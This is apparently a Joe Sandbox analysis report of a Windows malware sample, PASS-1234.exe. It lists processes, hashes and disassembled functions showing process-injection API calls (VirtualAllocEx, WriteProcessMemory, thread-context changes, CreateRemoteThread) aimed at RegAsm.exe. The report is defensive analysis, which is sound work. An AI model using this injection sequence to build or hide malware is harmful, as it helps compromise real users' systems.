Wa5=t+_>;h<w:EF.,+e0uFFE\3aNvo}I64A)qL\|"vE,Zk@R,wQir<"0YRR$;r}RN`L)-:OlVV-N91bCq_-NegC^/fg-A!5[-
2024-04-21 07:05:04 UTC	804	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 07:05:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sa7nqhkrn7re3c5bhvnaqj7s3t; expires=Thu, 15-Aug-2024 00:51:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8QK%2FBuKONmG1KAQR8wkGONUM1BoosZwgIbISZJxXKFexLmrere302XsiNjLAwQec0Fa8rkCkNtTrwY5ZQxUTn3HUIc8C6sTbJNPAzCY0XlN1xlLcbLEvYrFB6z%2BgOs%2BWtR1wGrObRT0G"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b85fdfe247b99-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	09:04:54
Start date:	21/04/2024
Path:	C:\Users\user\Desktop\PASS-1234.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PASS-1234.exe"
Imagebase:	0xd00000
File size:	1'229'424 bytes
MD5 hash:	91A6507A51DDCF98F542E89C58B9A17E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:04:54
Start date:	21/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe60000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	15.1%
Signature Coverage:	24.5%
Total number of Nodes:	53
Total number of Limit Nodes:	3

Executed Functions

Function 00E129C5 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00E12B34
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00E12B47
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 00E12B65
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00E12B89
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 00E12BB4
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 00E12C0C
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 00E12C57
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00E12C95
Wow64SetThreadContext.KERNEL32(?,?), ref: 00E12CD1
ResumeThread.KERNELBASE(?), ref: 00E12CE0

Strings

GetP, xrefs: 00E12A47
aryA, xrefs: 00E12A0B
ress, xrefs: 00E12A4F
Load, xrefs: 00E12A03

Memory Dump Source

Source File: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 162ea00f2f018e9c873037b3b61ad0261b1c221518f6d994ec5216b1db9972b0
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 56B1E57664028AAFDB60CF68CC80BDA77A5FF88714F158124EA0CAB341D774FA51CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00D9889B Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14e415b92e711a254da3d0c0cf5c829ca26855c7132794785b4899dc4833226d
Instruction ID: f572a338c196251fc1cb60d803500b6ea9a75198d5b97bcce46cab8462935d52
Opcode Fuzzy Hash: 14e415b92e711a254da3d0c0cf5c829ca26855c7132794785b4899dc4833226d
Instruction Fuzzy Hash: 73E08C32911228EBCB14EB8CD94498AF3ECEB45F00B550596B501D3140C670DE00D7F0

Uniqueness

Uniqueness Score: -1.00%

Function 00D8542B Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea396804d05bd86bc06d7de5651e5550b57eee76fc7eff42c2ceb3e19d054474
Instruction ID: f2040d26d2b38cd483531ffae922882ec4d9dc965125128e0bda6600589490d7
Opcode Fuzzy Hash: ea396804d05bd86bc06d7de5651e5550b57eee76fc7eff42c2ceb3e19d054474
Instruction Fuzzy Hash: B6C08C34082D0046CF29A91892B1BA43356E392783F8804CCC4060B686C55E9CC7D732

Uniqueness

Uniqueness Score: -1.00%

Function 00D1192E Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00E12838,000004AC,00000040,?,?,?,?,006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@), ref: 00D11987
CreateRemoteThread.KERNELBASE(000000FF,00000000,00000000,Function_001129C0,MZx,00000000,?), ref: 00D119C3
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000001,?,?,?,?,?,006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@), ref: 00D119D0
RegDisablePredefinedCache.ADVAPI32 ref: 00D119D6
CloseHandle.KERNEL32(00000000,?,?,?,?,?,006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@), ref: 00D119DD

Strings

006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@, xrefs: 00D1193E
MZx, xrefs: 00D119A3, 00D119A8, 00D119B7

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: CacheCloseCreateDisableHandleObjectPredefinedProtectRemoteSingleThreadVirtualWait
String ID: 006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@$MZx
API String ID: 3011204695-4110972614
Opcode ID: 69a572e2dc90dfd5478e9459fa9caf134c4c55156bf97297e609c9c170b10880
Instruction ID: 65ebb363186e49859bc74660e661ace07d472129f6c641eefba6155dad46ac2f
Opcode Fuzzy Hash: 69a572e2dc90dfd5478e9459fa9caf134c4c55156bf97297e609c9c170b10880
Instruction Fuzzy Hash: D011D671A01214BFDB20AB659C46FEE77B8EF05750F100229F615F71D1DA60AE0AC7B8

Uniqueness

Uniqueness Score: -1.00%

Function 00D8A58B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800), ref: 00D8A64C

Strings

api-ms-, xrefs: 00D8A5E2
ext-ms-, xrefs: 00D8A5F6

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 171aa3e701ef240197f29006d029ca1571ab3d2ef918a0f58838330015b4dc69
Instruction ID: f20839f40171904346de55fbb91274e12c97b39440cbd8f9417cc65f7d07c393
Opcode Fuzzy Hash: 171aa3e701ef240197f29006d029ca1571ab3d2ef918a0f58838330015b4dc69
Instruction Fuzzy Hash: 7921D832A01A10EFE731AB29EC41A6A7768EB51770F1D0123E946A7295E630ED05CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D85392 Relevance: 4.5, APIs: 3, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00D85367,?,?,?,?,?), ref: 00D853A3
TerminateProcess.KERNEL32(00000000,?,00D85367,?,?,?,?,?), ref: 00D853AA
ExitProcess.KERNEL32 ref: 00D853BC

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 875a0dd58090970b77555e5c439af76f9690a32a56ac4fe2e4fff7f217a7b14f
Instruction ID: 1a41858e35f2b5700ffa1afbed28ac5a52ff62028e4da5000fc880ac98961f79
Opcode Fuzzy Hash: 875a0dd58090970b77555e5c439af76f9690a32a56ac4fe2e4fff7f217a7b14f
Instruction Fuzzy Hash: 9ED09E31000904BFCF213F65EC0DD9D3F29EF403827554110B90966075DF719D9BABA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D8A688 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 533dfef3e475fb101dc72b7aefc9ecbb82dd1af301561ae6e6e1baa8c7536339
Instruction ID: 052c210a8b06e8a800419ffca8e5afe09d37444c7593c214b5e443b472e6f75f
Opcode Fuzzy Hash: 533dfef3e475fb101dc72b7aefc9ecbb82dd1af301561ae6e6e1baa8c7536339
Instruction Fuzzy Hash: E8012D377005219FBB25EE6EEC4195A33D6FB843607298122F511DB188EB30DC029761

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00D9B9F2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 00D9BA8B
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002), ref: 00D9BAB4
GetACP.KERNEL32 ref: 00D9BAC9

Strings

OCP, xrefs: 00D9BA46
ACP, xrefs: 00D9BA10

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 51f76612d5df827efc2fe7e8428f752e939fc0dc86fd5989124994aaf842d78c
Instruction ID: e254f1fbfcd3c07bfe4a603441ffb27e6fc2f13d4054f266c60633c9c1737dca
Opcode Fuzzy Hash: 51f76612d5df827efc2fe7e8428f752e939fc0dc86fd5989124994aaf842d78c
Instruction Fuzzy Hash: 4F219D22A00101EADF309F55EB01BA772A6EF54B74B5B8466E84AD7210E7B2DD41C770

Uniqueness

Uniqueness Score: -1.00%

Function 00D9BC3B Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32 ref: 00D9BD47
IsValidCodePage.KERNEL32(00000000), ref: 00D9BD90
IsValidLocale.KERNEL32(?,00000001), ref: 00D9BD9F
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00D9BDE7
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00D9BE06

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: Locale$InfoValid$CodeDefaultPageUser
String ID:
API String ID: 3475089800-0
Opcode ID: c82e1e5e6893251532ec503c614dbf02be5b3a4bc0841486cfcb4c3ef76f12a6
Instruction ID: 08baed293c922b189ab8002e44417c0678b4c95d7daadfb7ab64465908289f00
Opcode Fuzzy Hash: c82e1e5e6893251532ec503c614dbf02be5b3a4bc0841486cfcb4c3ef76f12a6
Instruction Fuzzy Hash: 4B519071A00219AFDF20DFA5ED41ABE77B8FF04710F1A052AE905E7191EBB09944CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00DA13FF Relevance: 7.4, Strings: 4, Instructions: 2437COMMON

Download Yara Rule

Strings

1#INF, xrefs: 00DA1535
1#QNAN, xrefs: 00DA1512
1#SNAN, xrefs: 00DA150B
1#IND, xrefs: 00DA1504

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 0-2761157908
Opcode ID: 81aef6500f38bac9eacc03ed31682d19d6f407374efb0614279316c9abf2efce
Instruction ID: 22d7d672e712d3d7af82bb93cec71e14e0e5a0b077907b2756fed2b3747ae824
Opcode Fuzzy Hash: 81aef6500f38bac9eacc03ed31682d19d6f407374efb0614279316c9abf2efce
Instruction Fuzzy Hash: 6BD23975E092298FDB65CF29CC407EAB7B5EB46304F1841EAD44DE7240E778AE818F61

Uniqueness

Uniqueness Score: -1.00%

Function 00D9B05F Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 377COMMON

Download Yara Rule

APIs

GetACP.KERNEL32 ref: 00D9B120
IsValidCodePage.KERNEL32(00000000), ref: 00D9B14B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 00D9B32C

Strings

utf8, xrefs: 00D9B21D

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: CodeInfoLocalePageValid
String ID: utf8
API String ID: 790303815-905460609
Opcode ID: addd22c8b0523a9447061db0419c679afbd1506478b4d097ce5bfba7c204d4ea
Instruction ID: 7453ef39f6c7925000db5d5099e91ea00c4690d5f402a11f547b0bdcf60e7fd3
Opcode Fuzzy Hash: addd22c8b0523a9447061db0419c679afbd1506478b4d097ce5bfba7c204d4ea
Instruction Fuzzy Hash: F171F571600302AADF25AB75ED86FAA73A9EF45720F1A006BF509D7181FB70ED4087B5

Uniqueness

Uniqueness Score: -1.00%

Function 00DCFD58 Relevance: 6.7, Strings: 5, Instructions: 425COMMON

Download Yara Rule

Strings

